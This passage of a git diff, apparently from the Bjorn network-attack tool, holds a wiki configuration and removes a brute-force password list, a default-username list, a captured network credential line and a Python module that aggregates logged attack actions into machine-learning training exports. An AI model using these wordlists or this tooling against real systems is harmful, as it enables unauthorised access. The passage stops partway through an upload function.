{ id: "forest", name: "Forest", file: "wiki/themes/forest.css", isDark: true },
|
||||
{ id: "monochrome", name: "Monochrome", file: "wiki/themes/monochrome.css", isDark: true },
|
||||
{ id: "retro-hackers", name: "Retro Hackers", file: "wiki/themes/retro-hackers.css", isDark: true },
|
||||
{ id: "retro-hackers-w", name: "Retro Hackers White", file: "wiki/themes/retro-hackers-w.css", isDark: false },
|
||||
{ id: "retro-acid-burn", name: "Retro Acid Burn", file: "wiki/themes/retro-acid-burn.css", isDark: true },
|
||||
{ id: "paper", name: "Paper", file: "wiki/themes/paper.css", isDark: false },
|
||||
{ id: "solarized-light", name: "Solarized Light", file: "wiki/themes/solarized-light.css", isDark: false },
|
||||
{ id: "nord-light", name: "Nord Light", file: "wiki/themes/nord-light.css", isDark: false },
|
||||
{ id: "paper-sepia", name: "Sepia Paper", file: "wiki/themes/paper-sepia.css", isDark: false },
|
||||
{ id: "paper-cool", name: "Cool Paper", file: "wiki/themes/paper-cool.css", isDark: false },
|
||||
{ id: "retro-irc", name: "Retro IRC", file: "wiki/themes/retro-irc.css", isDark: false },
|
||||
{ id: "nature", name: "Nature", file: "wiki/themes/nature.css", isDark: false },
|
||||
{ id: "glassmorphism", name: "Glassmorphism", file: "wiki/themes/glassmorphism.css", isDark: true }
|
||||
],
|
||||
defaultTheme: "dark",
|
||||
|
||||
// Feature Toggles
|
||||
features: {
|
||||
showChangelog: true,
|
||||
showSearch: true,
|
||||
showSocialBadges: true,
|
||||
showThemeToggle: true,
|
||||
pageTransitions: true,
|
||||
autoCollapseSidebar: false,
|
||||
stickyBreadcrumbs: true,
|
||||
showRootReadme: true,
|
||||
debug: true
|
||||
},
|
||||
|
||||
// Custom Navigation Links
|
||||
// Inserted at the top or bottom of the sidebar
|
||||
links: {
|
||||
top: [
|
||||
{ name: "Main Site", url: "https://example.com", icon: "external-link" }
|
||||
],
|
||||
bottom: [
|
||||
{ name: "Portfolio", url: "https://portfolio.example.com", icon: "briefcase" },
|
||||
{ name: "Store", url: "https://store.example.com", icon: "shopping-cart" }
|
||||
]
|
||||
},
|
||||
|
||||
// Footer Customization
|
||||
footerText: "© 2026 BJORN WIKI - All rights reserved",
|
||||
|
||||
// UI Strings (Custom labels for the interface)
|
||||
ui: {
|
||||
joinUsTitle: ":: JOIN US ::",
|
||||
onThisPageTitle: "On this page",
|
||||
changelogTitle: "Changelog",
|
||||
rootReadmeTitle: "Project Home",
|
||||
searchPlaceholder: "Search (Ctrl+K)...",
|
||||
lastUpdatedText: "Updated",
|
||||
readingTimePrefix: "~",
|
||||
readingTimeSuffix: "min read",
|
||||
noResultsText: "No results found.",
|
||||
noSectionsText: "No sections",
|
||||
fetchingReleasesText: "Fetching GitHub releases...",
|
||||
checkingVersionText: "checking...",
|
||||
initializingText: "Initializing...",
|
||||
themeChangedText: "Theme changed to: ",
|
||||
menuText: "Menu",
|
||||
onThisPageMobile: "On this page"
|
||||
},
|
||||
|
||||
// Logo Settings
|
||||
logoPath: "wiki/assets/logo.png",
|
||||
logoPlaceholder: "https://placehold.co/40x40/111214/22c55e?text=A",
|
||||
|
||||
// PWA & SEO Settings
|
||||
themeColor: "#0B0C0E",
|
||||
accentColor: "#22c55e",
|
||||
manifestPath: "wiki/manifest.json",
|
||||
|
||||
// Social Links
|
||||
// Set to null or empty string to hide the link
|
||||
social: {
|
||||
discord: "https://discord.gg/B3ZH9taVfT",
|
||||
reddit: "https://www.reddit.com/r/Bjorn_CyberViking/",
|
||||
github: "https://github.com/infinition/Bjorn",
|
||||
buyMeACoffee: "https://buymeacoffee.com/infinition"
|
||||
},
|
||||
|
||||
// Badge Labels (Optional customization for shields.io)
|
||||
badges: {
|
||||
discordLabel: "COMMUNITY",
|
||||
redditLabel: "r/BJORN",
|
||||
githubLabel: "BJORN WIKI"
|
||||
}
|
||||
};
|
||||
@@ -1,16 +0,0 @@
|
||||
MqUG09FmPb
|
||||
OD1THT4mKMnlt2M$
|
||||
letmein
|
||||
QZKOJDBEJf
|
||||
ZrXqzIlZk3
|
||||
9XP5jT3gwJjmvULK
|
||||
password
|
||||
9Pbc8RjB5s
|
||||
fcQRQUxnZl
|
||||
Jzp0G7kolyloIk7g
|
||||
DyMuqqfGYj
|
||||
G8tCoDFNIM
|
||||
8gv1j!vubL20xCH$
|
||||
i5z1nlF3Uf
|
||||
zkg3ojoCoKAHaPo%
|
||||
oWcK1Zmkve
|
||||
@@ -1,8 +0,0 @@
|
||||
manager
|
||||
root
|
||||
admin
|
||||
db_audit
|
||||
dev
|
||||
user
|
||||
boss
|
||||
deploy
|
||||
@@ -1 +0,0 @@
|
||||
42f5203400a6:b65b4c0befdf:pwned:deauther
|
||||
@@ -1,896 +0,0 @@
|
||||
"""data_consolidator.py - Aggregate logged features into training-ready datasets for export."""
|
||||
|
||||
import json
|
||||
import csv
|
||||
import time
|
||||
import gzip
|
||||
import heapq
|
||||
from datetime import datetime, timedelta
|
||||
from typing import Dict, List, Any, Optional, Tuple
|
||||
from pathlib import Path
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="data_consolidator.py", level=20)
|
||||
|
||||
try:
|
||||
import requests
|
||||
except ImportError:
|
||||
requests = None
|
||||
|
||||
|
||||
class DataConsolidator:
|
||||
"""
|
||||
Consolidates raw feature logs into training datasets.
|
||||
Optimized for Raspberry Pi Zero - processes in batches.
|
||||
"""
|
||||
|
||||
def __init__(self, shared_data, export_dir: str = None):
|
||||
"""
|
||||
Initialize data consolidator
|
||||
|
||||
Args:
|
||||
shared_data: SharedData instance
|
||||
export_dir: Directory for export files
|
||||
"""
|
||||
self.shared_data = shared_data
|
||||
self.db = shared_data.db
|
||||
|
||||
if export_dir is None:
|
||||
# Default to shared_data path (cross-platform)
|
||||
self.export_dir = Path(getattr(shared_data, 'ml_exports_dir', Path(shared_data.data_dir) / "ml_exports"))
|
||||
else:
|
||||
self.export_dir = Path(export_dir)
|
||||
|
||||
self.export_dir.mkdir(parents=True, exist_ok=True)
|
||||
# Server health state consumed by orchestrator fallback logic.
|
||||
self.last_server_attempted = False
|
||||
self.last_server_contact_ok = None
|
||||
self._upload_backoff_until = 0.0
|
||||
self._upload_backoff_current_s = 0.0
|
||||
|
||||
# AI-01: Feature variance tracking for dimensionality reduction
|
||||
self._feature_variance_min = float(
|
||||
getattr(shared_data, 'ai_feature_selection_min_variance', 0.001)
|
||||
)
|
||||
# Accumulator: {feature_name: [sum, sum_of_squares, count]}
|
||||
self._feature_stats = {}
|
||||
|
||||
logger.info(f"DataConsolidator initialized, exports: {self.export_dir}")
|
||||
|
||||
def _set_server_contact_state(self, attempted: bool, ok: Optional[bool]) -> None:
|
||||
self.last_server_attempted = bool(attempted)
|
||||
self.last_server_contact_ok = ok if attempted else None
|
||||
|
||||
def _apply_upload_backoff(self, base_backoff_s: int, max_backoff_s: int = 3600) -> int:
|
||||
"""
|
||||
Exponential upload retry backoff:
|
||||
base -> base*2 -> base*4 ... capped at max_backoff_s.
|
||||
Returns the delay (seconds) applied for the next retry window.
|
||||
"""
|
||||
base = max(10, int(base_backoff_s))
|
||||
cap = max(base, int(max_backoff_s))
|
||||
prev = float(getattr(self, "_upload_backoff_current_s", 0.0) or 0.0)
|
||||
|
||||
if prev <= 0:
|
||||
delay = base
|
||||
else:
|
||||
delay = min(cap, max(base, int(prev * 2)))
|
||||
|
||||
self._upload_backoff_current_s = float(delay)
|
||||
self._upload_backoff_until = time.monotonic() + delay
|
||||
return int(delay)
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
# CONSOLIDATION ENGINE
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
def consolidate_features(
|
||||
self,
|
||||
batch_size: int = None,
|
||||
max_batches: Optional[int] = None
|
||||
) -> Dict[str, int]:
|
||||
"""
|
||||
Consolidate raw features into aggregated feature vectors.
|
||||
Processes unconsolidated records in batches.
|
||||
"""
|
||||
if batch_size is None:
|
||||
batch_size = int(getattr(self.shared_data, "ai_batch_size", 100))
|
||||
batch_size = max(1, min(int(batch_size), 5000))
|
||||
stats = {
|
||||
'records_processed': 0,
|
||||
'records_aggregated': 0,
|
||||
'batches_completed': 0,
|
||||
'errors': 0
|
||||
}
|
||||
|
||||
try:
|
||||
# Get unconsolidated records
|
||||
unconsolidated = self.db.query("""
|
||||
SELECT COUNT(*) as cnt
|
||||
FROM ml_features
|
||||
WHERE consolidated=0
|
||||
""")[0]['cnt']
|
||||
|
||||
if unconsolidated == 0:
|
||||
logger.info("No unconsolidated features to process")
|
||||
return stats
|
||||
|
||||
logger.info(f"Consolidating {unconsolidated} feature records...")
|
||||
|
||||
batch_count = 0
|
||||
while True:
|
||||
if max_batches and batch_count >= max_batches:
|
||||
break
|
||||
|
||||
# Fetch batch
|
||||
batch = self.db.query(f"""
|
||||
SELECT * FROM ml_features
|
||||
WHERE consolidated=0
|
||||
ORDER BY timestamp
|
||||
LIMIT {batch_size}
|
||||
""")
|
||||
|
||||
if not batch:
|
||||
break
|
||||
|
||||
# Process batch
|
||||
for record in batch:
|
||||
try:
|
||||
self._consolidate_single_record(record)
|
||||
stats['records_processed'] += 1
|
||||
except Exception as e:
|
||||
logger.error(f"Error consolidating record {record['id']}: {e}")
|
||||
stats['errors'] += 1
|
||||
|
||||
# Mark as consolidated
|
||||
record_ids = [r['id'] for r in batch]
|
||||
placeholders = ','.join('?' * len(record_ids))
|
||||
self.db.execute(f"""
|
||||
UPDATE ml_features
|
||||
SET consolidated=1
|
||||
WHERE id IN ({placeholders})
|
||||
""", record_ids)
|
||||
|
||||
stats['batches_completed'] += 1
|
||||
batch_count += 1
|
||||
|
||||
# Progress log
|
||||
if batch_count % 10 == 0:
|
||||
logger.info(
|
||||
f"Consolidation progress: {stats['records_processed']} records, "
|
||||
f"{stats['batches_completed']} batches"
|
||||
)
|
||||
|
||||
logger.success(
|
||||
f"Consolidation complete: {stats['records_processed']} records processed, "
|
||||
f"{stats['errors']} errors"
|
||||
)
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Consolidation failed: {e}")
|
||||
stats['errors'] += 1
|
||||
|
||||
return stats
|
||||
|
||||
def _consolidate_single_record(self, record: Dict[str, Any]):
|
||||
"""
|
||||
Process a single feature record into aggregated form.
|
||||
Computes statistical features and feature vectors.
|
||||
"""
|
||||
try:
|
||||
# Parse JSON fields once - reused by _build_feature_vector to avoid double-parsing
|
||||
host_features = json.loads(record.get('host_features', '{}'))
|
||||
network_features = json.loads(record.get('network_features', '{}'))
|
||||
temporal_features = json.loads(record.get('temporal_features', '{}'))
|
||||
action_features = json.loads(record.get('action_features', '{}'))
|
||||
|
||||
# Combine all features
|
||||
all_features = {
|
||||
**host_features,
|
||||
**network_features,
|
||||
**temporal_features,
|
||||
**action_features
|
||||
}
|
||||
|
||||
# Build numerical feature vector - pass already-parsed dicts to avoid re-parsing
|
||||
feature_vector = self._build_feature_vector(
|
||||
host_features, network_features, temporal_features, action_features
|
||||
)
|
||||
|
||||
# AI-01: Track feature variance for dimensionality reduction
|
||||
self._track_feature_variance(feature_vector)
|
||||
|
||||
# Determine time window
|
||||
raw_ts = record['timestamp']
|
||||
if isinstance(raw_ts, str):
|
||||
try:
|
||||
timestamp = datetime.fromisoformat(raw_ts)
|
||||
except ValueError:
|
||||
timestamp = datetime.now()
|
||||
elif isinstance(raw_ts, datetime):
|
||||
timestamp = raw_ts
|
||||
else:
|
||||
timestamp = datetime.now()
|
||||
|
||||
hourly_window = timestamp.replace(minute=0, second=0, microsecond=0).isoformat()
|
||||
|
||||
# Update or insert aggregated record
|
||||
self._update_aggregated_features(
|
||||
mac_address=record['mac_address'],
|
||||
time_window='hourly',
|
||||
timestamp=hourly_window,
|
||||
action_name=record['action_name'],
|
||||
success=record['success'],
|
||||
duration=record['duration_seconds'],
|
||||
reward=record['reward'],
|
||||
feature_vector=feature_vector,
|
||||
all_features=all_features
|
||||
)
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Error consolidating single record: {e}")
|
||||
raise
|
||||
|
||||
def _build_feature_vector(
|
||||
self,
|
||||
host_features: Dict[str, Any],
|
||||
network_features: Dict[str, Any],
|
||||
temporal_features: Dict[str, Any],
|
||||
action_features: Dict[str, Any],
|
||||
) -> Dict[str, float]:
|
||||
"""
|
||||
Build a named feature dictionary from already-parsed feature dicts.
|
||||
Accepts pre-parsed dicts so JSON is never decoded twice per record.
|
||||
Uses shared ai_utils for consistency.
|
||||
"""
|
||||
from ai_utils import extract_neural_features_dict
|
||||
|
||||
return extract_neural_features_dict(
|
||||
host_features=host_features,
|
||||
network_features=network_features,
|
||||
temporal_features=temporal_features,
|
||||
action_features=action_features,
|
||||
)
|
||||
|
||||
def _update_aggregated_features(
|
||||
self,
|
||||
mac_address: str,
|
||||
time_window: str,
|
||||
timestamp: str,
|
||||
action_name: str,
|
||||
success: int,
|
||||
duration: float,
|
||||
reward: float,
|
||||
feature_vector: Dict[str, float],
|
||||
all_features: Dict[str, Any]
|
||||
):
|
||||
"""
|
||||
Update or insert aggregated feature record.
|
||||
Accumulates statistics over the time window.
|
||||
"""
|
||||
try:
|
||||
# Check if record exists
|
||||
existing = self.db.query("""
|
||||
SELECT * FROM ml_features_aggregated
|
||||
WHERE mac_address=? AND time_window=? AND computed_at=?
|
||||
""", (mac_address, time_window, timestamp))
|
||||
|
||||
if existing:
|
||||
# Update existing record
|
||||
old = existing[0]
|
||||
new_total = old['total_actions'] + 1
|
||||
# ... typical stats update ...
|
||||
|
||||
# Merge feature vectors (average each named feature)
|
||||
old_vector = json.loads(old['feature_vector']) # Now a Dict
|
||||
if isinstance(old_vector, list): # Migration handle
|
||||
old_vector = {}
|
||||
|
||||
merged_vector = {}
|
||||
# Combine keys from both
|
||||
all_keys = set(old_vector.keys()) | set(feature_vector.keys())
|
||||
for k in all_keys:
|
||||
v_old = old_vector.get(k, 0.0)
|
||||
v_new = feature_vector.get(k, 0.0)
|
||||
merged_vector[k] = (v_old * old['total_actions'] + v_new) / new_total
|
||||
|
||||
self.db.execute("""
|
||||
UPDATE ml_features_aggregated
|
||||
SET total_actions=total_actions+1,
|
||||
success_rate=(success_rate*total_actions + ?)/(total_actions+1),
|
||||
avg_duration=(avg_duration*total_actions + ?)/(total_actions+1),
|
||||
total_reward=total_reward + ?,
|
||||
feature_vector=?
|
||||
WHERE mac_address=? AND time_window=? AND computed_at=?
|
||||
""", (
|
||||
success,
|
||||
duration,
|
||||
reward,
|
||||
json.dumps(merged_vector),
|
||||
mac_address,
|
||||
time_window,
|
||||
timestamp
|
||||
))
|
||||
else:
|
||||
# Insert new record
|
||||
self.db.execute("""
|
||||
INSERT INTO ml_features_aggregated (
|
||||
mac_address, time_window, computed_at,
|
||||
total_actions, success_rate, avg_duration, total_reward,
|
||||
feature_vector
|
||||
) VALUES (?, ?, ?, 1, ?, ?, ?, ?)
|
||||
""", (
|
||||
mac_address,
|
||||
time_window,
|
||||
timestamp,
|
||||
float(success),
|
||||
duration,
|
||||
reward,
|
||||
json.dumps(feature_vector)
|
||||
))
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Error updating aggregated features: {e}")
|
||||
raise
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
# AI-01: FEATURE VARIANCE TRACKING & SELECTION
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
def _track_feature_variance(self, feature_vector: Dict[str, float]):
|
||||
"""
|
||||
Update running statistics (mean, variance) for each feature.
|
||||
Uses Welford's online algorithm via sum/sum_sq/count.
|
||||
"""
|
||||
for name, value in feature_vector.items():
|
||||
try:
|
||||
val = float(value)
|
||||
except (TypeError, ValueError):
|
||||
continue
|
||||
if name not in self._feature_stats:
|
||||
self._feature_stats[name] = [0.0, 0.0, 0]
|
||||
stats = self._feature_stats[name]
|
||||
stats[0] += val # sum
|
||||
stats[1] += val * val # sum of squares
|
||||
stats[2] += 1 # count
|
||||
|
||||
def _get_feature_variances(self) -> Dict[str, float]:
|
||||
"""Return computed variance for each tracked feature."""
|
||||
variances = {}
|
||||
for name, (s, sq, n) in self._feature_stats.items():
|
||||
if n < 2:
|
||||
variances[name] = 0.0
|
||||
else:
|
||||
mean = s / n
|
||||
variances[name] = max(0.0, sq / n - mean * mean)
|
||||
return variances
|
||||
|
||||
def _get_selected_features(self) -> List[str]:
|
||||
"""Return feature names that pass the minimum variance threshold."""
|
||||
threshold = self._feature_variance_min
|
||||
variances = self._get_feature_variances()
|
||||
selected = [name for name, var in variances.items() if var >= threshold]
|
||||
dropped = len(variances) - len(selected)
|
||||
if dropped > 0:
|
||||
logger.info(
|
||||
f"Feature selection: kept {len(selected)}/{len(variances)} features "
|
||||
f"(dropped {dropped} near-zero variance < {threshold})"
|
||||
)
|
||||
return sorted(selected)
|
||||
|
||||
def _write_feature_manifest(self, selected_features: List[str], export_filepath: str):
|
||||
"""Write feature_manifest.json alongside the export file."""
|
||||
try:
|
||||
variances = self._get_feature_variances()
|
||||
manifest = {
|
||||
'created_at': datetime.now().isoformat(),
|
||||
'feature_count': len(selected_features),
|
||||
'min_variance_threshold': self._feature_variance_min,
|
||||
'features': {
|
||||
name: {'variance': round(variances.get(name, 0.0), 6)}
|
||||
for name in selected_features
|
||||
},
|
||||
'export_file': str(export_filepath),
|
||||
}
|
||||
manifest_path = self.export_dir / 'feature_manifest.json'
|
||||
with open(manifest_path, 'w', encoding='utf-8') as f:
|
||||
json.dump(manifest, f, indent=2)
|
||||
logger.info(f"Feature manifest written: {manifest_path} ({len(selected_features)} features)")
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to write feature manifest: {e}")
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
# EXPORT FUNCTIONS
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
def export_for_training(
|
||||
self,
|
||||
format: str = 'csv',
|
||||
compress: bool = True,
|
||||
max_records: Optional[int] = None
|
||||
) -> Tuple[str, int]:
|
||||
"""
|
||||
Export consolidated features for deep learning training.
|
||||
|
||||
Args:
|
||||
format: 'csv', 'jsonl', or 'parquet'
|
||||
compress: Whether to gzip the output
|
||||
max_records: Maximum records to export (None = all)
|
||||
|
||||
Returns:
|
||||
Tuple of (file_path, record_count)
|
||||
"""
|
||||
try:
|
||||
if max_records is None:
|
||||
max_records = int(getattr(self.shared_data, "ai_export_max_records", 1000))
|
||||
max_records = max(100, min(int(max_records), 20000))
|
||||
|
||||
# Generate filename
|
||||
timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
|
||||
base_filename = f"bjorn_training_{timestamp}.{format}"
|
||||
|
||||
if compress and format != 'parquet':
|
||||
base_filename += '.gz'
|
||||
|
||||
filepath = self.export_dir / base_filename
|
||||
|
||||
# Fetch data
|
||||
limit_clause = f"LIMIT {max_records}"
|
||||
records = self.db.query(f"""
|
||||
SELECT
|
||||
mf.*,
|
||||
mfa.feature_vector,
|
||||
mfa.success_rate as aggregated_success_rate,
|
||||
mfa.total_actions as aggregated_total_actions
|
||||
FROM ml_features mf
|
||||
LEFT JOIN ml_features_aggregated mfa
|
||||
ON mf.mac_address = mfa.mac_address
|
||||
WHERE mf.consolidated=1 AND mf.export_batch_id IS NULL
|
||||
ORDER BY mf.timestamp DESC
|
||||
{limit_clause}
|
||||
""")
|
||||
|
||||
if not records:
|
||||
logger.warning("No consolidated records to export")
|
||||
return "", 0
|
||||
|
||||
# Extract IDs before export so we can free the records list early
|
||||
record_ids = [r['id'] for r in records]
|
||||
|
||||
# Export based on format
|
||||
if format == 'csv':
|
||||
count = self._export_csv(records, filepath, compress)
|
||||
elif format == 'jsonl':
|
||||
count = self._export_jsonl(records, filepath, compress)
|
||||
elif format == 'parquet':
|
||||
count = self._export_parquet(records, filepath)
|
||||
else:
|
||||
raise ValueError(f"Unsupported format: {format}")
|
||||
|
||||
# Free the large records list immediately after export - record_ids is all we still need
|
||||
del records
|
||||
|
||||
# AI-01: Write feature manifest with variance-filtered feature names
|
||||
try:
|
||||
selected = self._get_selected_features()
|
||||
if selected:
|
||||
self._write_feature_manifest(selected, str(filepath))
|
||||
except Exception as e:
|
||||
logger.error(f"Feature manifest generation failed: {e}")
|
||||
|
||||
# Create export batch record
|
||||
batch_id = self._create_export_batch(filepath, count)
|
||||
|
||||
# Update records with batch ID
|
||||
placeholders = ','.join('?' * len(record_ids))
|
||||
self.db.execute(f"""
|
||||
UPDATE ml_features
|
||||
SET export_batch_id=?
|
||||
WHERE id IN ({placeholders})
|
||||
""", [batch_id] + record_ids)
|
||||
del record_ids
|
||||
|
||||
logger.success(
|
||||
f"Exported {count} records to {filepath} "
|
||||
f"(batch_id={batch_id})"
|
||||
)
|
||||
|
||||
return str(filepath), count
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Export failed: {e}")
|
||||
raise
|
||||
|
||||
def _export_csv(
|
||||
self,
|
||||
records: List[Dict],
|
||||
filepath: Path,
|
||||
compress: bool
|
||||
) -> int:
|
||||
"""Export records as CSV"""
|
||||
open_func = gzip.open if compress else open
|
||||
mode = 'wt' if compress else 'w'
|
||||
|
||||
# 1. Flatten all records first to collect all possible fieldnames
|
||||
flattened = []
|
||||
all_fieldnames = set()
|
||||
|
||||
for r in records:
|
||||
flat = {
|
||||
'timestamp': r['timestamp'],
|
||||
'mac_address': r['mac_address'],
|
||||
'ip_address': r['ip_address'],
|
||||
'action_name': r['action_name'],
|
||||
'success': r['success'],
|
||||
'duration_seconds': r['duration_seconds'],
|
||||
'reward': r['reward']
|
||||
}
|
||||
|
||||
# Parse and flatten features
|
||||
for field in ['host_features', 'network_features', 'temporal_features', 'action_features']:
|
||||
try:
|
||||
features = json.loads(r.get(field, '{}'))
|
||||
for k, v in features.items():
|
||||
if isinstance(v, (int, float, bool, str)):
|
||||
flat_key = f"{field}_{k}"
|
||||
flat[flat_key] = v
|
||||
except Exception as e:
|
||||
logger.debug(f"Skip bad JSON in {field}: {e}")
|
||||
|
||||
# Add named feature vector
|
||||
if r.get('feature_vector'):
|
||||
try:
|
||||
vector = json.loads(r['feature_vector'])
|
||||
if isinstance(vector, dict):
|
||||
for k, v in vector.items():
|
||||
flat[f'feat_{k}'] = v
|
||||
elif isinstance(vector, list):
|
||||
for i, v in enumerate(vector):
|
||||
flat[f'feature_{i}'] = v
|
||||
except Exception as e:
|
||||
logger.debug(f"Skip bad feature vector: {e}")
|
||||
|
||||
flattened.append(flat)
|
||||
all_fieldnames.update(flat.keys())
|
||||
|
||||
# 2. Sort fieldnames for consistency
|
||||
sorted_fieldnames = sorted(list(all_fieldnames))
|
||||
all_fieldnames = None # Free the set
|
||||
|
||||
# 3. Write CSV
|
||||
with open_func(filepath, mode, newline='', encoding='utf-8') as f:
|
||||
if flattened:
|
||||
writer = csv.DictWriter(f, fieldnames=sorted_fieldnames)
|
||||
writer.writeheader()
|
||||
writer.writerows(flattened)
|
||||
|
||||
count = len(flattened)
|
||||
flattened = None # Free the expanded list
|
||||
return count
|
||||
|
||||
def _export_jsonl(
|
||||
self,
|
||||
records: List[Dict],
|
||||
filepath: Path,
|
||||
compress: bool
|
||||
) -> int:
|
||||
"""Export records as JSON Lines"""
|
||||
open_func = gzip.open if compress else open
|
||||
mode = 'wt' if compress else 'w'
|
||||
|
||||
with open_func(filepath, mode, encoding='utf-8') as f:
|
||||
for r in records:
|
||||
# Avoid mutating `records` in place to keep memory growth predictable.
|
||||
row = dict(r)
|
||||
for field in ['host_features', 'network_features', 'temporal_features', 'action_features', 'raw_event']:
|
||||
try:
|
||||
row[field] = json.loads(row.get(field, '{}'))
|
||||
except Exception:
|
||||
row[field] = {}
|
||||
|
||||
if row.get('feature_vector'):
|
||||
try:
|
||||
row['feature_vector'] = json.loads(row['feature_vector'])
|
||||
except Exception:
|
||||
row['feature_vector'] = {}
|
||||
|
||||
f.write(json.dumps(row) + '\n')
|
||||
|
||||
return len(records)
|
||||
|
||||
def _export_parquet(self, records: List[Dict], filepath: Path) -> int:
|
||||
"""Export records as Parquet (requires pyarrow)"""
|
||||
try:
|
||||
import pyarrow as pa
|
||||
import pyarrow.parquet as pq
|
||||
|
||||
# Flatten records
|
||||
flattened = []
|
||||
for r in records:
|
||||
flat = dict(r)
|
||||
# Parse JSON fields
|
||||
for field in ['host_features', 'network_features', 'temporal_features', 'action_features', 'raw_event']:
|
||||
flat[field] = json.loads(r.get(field, '{}'))
|
||||
|
||||
if r.get('feature_vector'):
|
||||
flat['feature_vector'] = json.loads(r['feature_vector'])
|
||||
|
||||
flattened.append(flat)
|
||||
|
||||
# Convert to Arrow table
|
||||
table = pa.Table.from_pylist(flattened)
|
||||
|
||||
# Write parquet
|
||||
pq.write_table(table, filepath, compression='snappy')
|
||||
|
||||
return len(records)
|
||||
|
||||
except ImportError:
|
||||
logger.error("Parquet export requires pyarrow. Falling back to CSV.")
|
||||
return self._export_csv(records, filepath.with_suffix('.csv'), compress=True)
|
||||
|
||||
def _create_export_batch(self, filepath: Path, count: int) -> int:
|
||||
"""Create export batch record and return batch ID"""
|
||||
result = self.db.execute("""
|
||||
INSERT INTO ml_export_batches (file_path, record_count, status)
|
||||
VALUES (?, ?, 'exported')
|
||||
""", (str(filepath), count))
|
||||
|
||||
# Get the inserted ID
|
||||
batch_id = self.db.query("SELECT last_insert_rowid() as id")[0]['id']
|
||||
return batch_id
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
# UTILITY METHODS
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
def get_export_stats(self) -> Dict[str, Any]:
|
||||
"""Get statistics about exports"""
|
||||
try:
|
||||
batches = self.db.query("""
|
||||
SELECT COUNT(*) as total_batches,
|
||||
SUM(record_count) as total_records,
|
||||
MAX(created_at) as last_export
|
||||
FROM ml_export_batches
|
||||
WHERE status='exported'
|
||||
""")[0]
|
||||
|
||||
pending = self.db.query("""
|
||||
SELECT COUNT(*) as cnt
|
||||
FROM ml_features
|
||||
WHERE consolidated=1 AND export_batch_id IS NULL
|
||||
""")[0]['cnt']
|
||||
|
||||
return {
|
||||
'total_export_batches': batches.get('total_batches', 0),
|
||||
'total_records_exported': batches.get('total_records', 0),
|
||||
'last_export_time': batches.get('last_export'),
|
||||
'pending_export_count': pending
|
||||
}
|
||||
except Exception as e:
|
||||
logger.error(f"Error getting export stats: {e}")
|
||||
return {}
|
||||
|
||||
def flush_pending_uploads(self, max_files: int = 3) -> int:
|
||||
"""
|
||||
Retry uploads for previously exported batches that were not transferred yet.
|
||||
Returns the number of successfully transferred files.
|
||||
"""
|
||||
max_files = max(0, int(max_files))
|
||||
if max_files <= 0:
|
||||
return 0
|
||||
|
||||
# No heavy "reliquat" tracking needed: pending uploads = files present in export_dir.
|
||||
files = self._list_pending_export_files(limit=max_files)
|
||||
ok = 0
|
||||
for fp in files:
|
||||
if self.upload_to_server(fp):
|
||||
ok += 1
|
||||
else:
|
||||
# Stop early when server is unreachable to avoid repeated noise.
|
||||
if self.last_server_attempted and self.last_server_contact_ok is False:
|
||||
break
|
||||
return ok
|
||||
|
||||
def _list_pending_export_files(self, limit: int = 3) -> List[str]:
|
||||
"""
|
||||
Return oldest export files present in export_dir.
|
||||
This makes the backlog naturally equal to the number of files on disk.
|
||||
"""
|
||||
limit = max(0, int(limit))
|
||||
if limit <= 0:
|
||||
return []
|
||||
|
||||
try:
|
||||
d = Path(self.export_dir)
|
||||
if not d.exists():
|
||||
return []
|
||||
|
||||
def _safe_mtime(path: Path) -> float:
|
||||
try:
|
||||
return path.stat().st_mtime
|
||||
except Exception:
|
||||
return float("inf")
|
||||
|
||||
# Keep only the N oldest files in memory instead of sorting all candidates.
|
||||
files_iter = (p for p in d.glob("bjorn_training_*") if p.is_file())
|
||||
oldest = heapq.nsmallest(limit, files_iter, key=_safe_mtime)
|
||||
return [str(p) for p in oldest]
|
||||
except Exception:
|
||||
return []
|
||||
|
||||
def _mark_batch_status(self, filepath: str, status: str, notes: str = "") -> None:
|
||||
"""Update ml_export_batches status for a given file path (best-effort)."""
|
||||
try:
|
||||
self.db.execute(
|
||||
"""
|
||||
UPDATE ml_export_batches
|
||||
SET status=?, notes=?
|
||||
WHERE file_path=?
|
||||
""",
|
||||
(status, notes or "", str(filepath)),
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _safe_delete_uploaded_export(self, filepath: Path) -> None:
|
||||
"""Delete a successfully-uploaded export file if configured to do so."""
|
||||
try:
|
||||
if not bool(self.shared_data.config.get("ai_delete_export_after_upload", True)):
|
||||
return
|
||||
|
||||
fp = filepath.resolve()
|
||||
base = Path(self.export_dir).resolve()
|
||||
# Safety: only delete files under export_dir.
|
||||
if base not in fp.parents:
|
||||
return
|
||||
|
||||
fp.unlink(missing_ok=True) # Python 3.8+ supports missing_ok
|
||||
except TypeError:
|
||||
# Python < 3.8 fallback (not expected here, but safe)
|
||||
try:
|
||||
if filepath.exists():
|
||||
filepath.unlink()
|
||||
except Exception:
|
||||
pass
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def upload_to_server(self, filepath: str) -> bool:
|
||||
"""
|
||||
Upload export file to AI Validation Server.
|
||||
|
||||
Args:
|
||||
filepath: Path to the file to upload
|
||||
|
||||
Returns:
|
||||
True if upload successful
|
||||
"""
|
||||
self._set_server_contact_state(False, None)
|
||||
try:
|
||||
import requests
|
||||
except ImportError:
|
||||
requests = None
|
||||
|
||||
if requests is None:
|
||||
logger.info_throttled(
|
||||
"AI upload skipped: requests not installed",
|
||||
key="ai_upload_no_requests",
|
||||
interval_s=600.0,
|
||||
)
|
||||
return False
|
||||
|
||||
url = self.shared_data.config.get("ai_server_url")
|
||||
if not url:
|
||||
logger.info_throttled(
|
||||
